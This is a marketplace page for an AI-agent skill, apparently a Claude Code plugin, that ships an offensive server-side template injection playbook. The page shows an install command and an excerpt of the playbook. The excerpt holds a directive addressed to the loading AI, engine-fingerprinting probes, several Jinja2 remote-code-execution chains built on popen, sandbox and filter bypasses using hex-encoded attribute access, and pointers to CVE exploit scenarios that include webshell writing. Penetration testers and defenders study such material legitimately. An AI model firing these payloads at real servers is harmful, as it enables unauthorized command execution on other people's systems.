Skip to content
Security
Skill

/ssti-server-side-template-injection

SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.

From plugin
hack-skills
1.6k102 skills
Install
$ npx -y skills add yaklang/hack-skills --skill ssti-server-side-template-injection --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/ssti-server-side-template-injection

Context preview

The summary Claude sees to decide when to auto-load this skill.

SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.

SKILL.md

ssti-server-side-template-injection.SKILL.md
name: ssti-server-side-template-injection
description: >-
  SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.

SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion [SCENARIOS.md](./SCENARIOS.md).

0. RELATED ROUTING

Before using full engine-specific exploitation, you can first load:

  • First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
  • [expression-language-injection](../expression-language-injection/SKILL.md) when `${7*7}` or `%{7*7}` resolves in Java (SpEL/OGNL) — different attack surface from template engines

Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:

  • Maccms 8.x PHP template `eval` — `{if-A:phpinfo()}{endif-A}` in `vod-search`, base64 bypass for webshell write
  • Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
  • Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with `StreamUtils.copyToByteArray` for output capture
  • Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with `_memberAccess` / `OgnlUtil` blacklist clear
  • Confluence OGNL CVE-2021-26084 — `createpage-entervariables.action` with `\u0027` unicode bypass
  • SSTI vs EL injection disambiguation guide
  • Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation

**SCENARIOS.md reference (§7–§11):** For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see [SCENARIOS.md](./SCENARIOS.md). This skill keeps a short checklist in §13–§15.

Engine Payloads Reference

For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see [ENGINE_PAYLOADS.md](./ENGINE_PAYLOADS.md).

Universal detection & blind SSTI (pointer)

Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow [SCENARIOS.md](./SCENARIOS.md) §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).

---

1. DETECTION — POLYGLOT PROBE SEQUENCE

First test: distinguish SSTI from XSS. Send these probes and check if **math is evaluated** server-side:

{{7*7}}        → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7}         → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7}         → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})

**Jinja2 vs Twig disambiguation**:

{{7*'7'}}
→ 7777777  = Jinja2 (Python string multiplication)
→ 49       = Twig (PHP numeric)

**Safe detection probe** (no math, just boolean):

{{''.__class__}}   → class 'str' = Python/Jinja2

---

2. ENGINE-TO-LANGUAGE MAPPING

| Template Engine | Language | Framework | |---|---|---| | Jinja2 | Python | Flask, FastAPI | | Django Templates | Python | Django | | Mako | Python | Pyramid | | Twig | PHP | Symfony, Laravel | | Smarty | PHP | Various | | FreeMarker | Java | Spring MVC | | Velocity | Java | Various Java | | Pebble | Java | Various Java | | Thymeleaf | Java | Spring Boot | | ERB | Ruby | Rails | | Slim / Haml | Ruby | Rails | | Jade / Pug | Node.js | Express | | Handlebars | Node.js | Express | | Tornado | Python | Tornado |

Identifying language from errors → then narrow to template engine.

---

3. JINJA2 (PYTHON FLASK) — RCE CHAINS

Chain 1: `os` module via `__globals__`

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Chain 2: MRO subclass traversal (sandbox escape)

# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list

# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}

Chain 3: `request` object globals (works when `config` blocked)

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

(Uses hex encoding to avoid `_` filtering)

Chain 4: `lipsum` function globals (Flask built-in)

{{lipsum.__globals__.os.popen('id').read()}}

Chain 5: `cycler` object

{{cycler.__init__.__globals__.os.popen('id').read()}}

Finding correct subprocess index dynamically:

# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{loop.index}}
  {% endif %}
{% endfor %}

---

4. JINJA2 SANDBOX BYPASS TECHNIQUES

When `_` (underscore) is blocked:

# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')

# Use getattr via request object:
request|attr('args')|attr('__class__')

When `.` (dot) is blocked:

# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']

When keywords

Read more
Ships withhack-skills

Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.

Get the whole plugin

Other skills on hack-skills.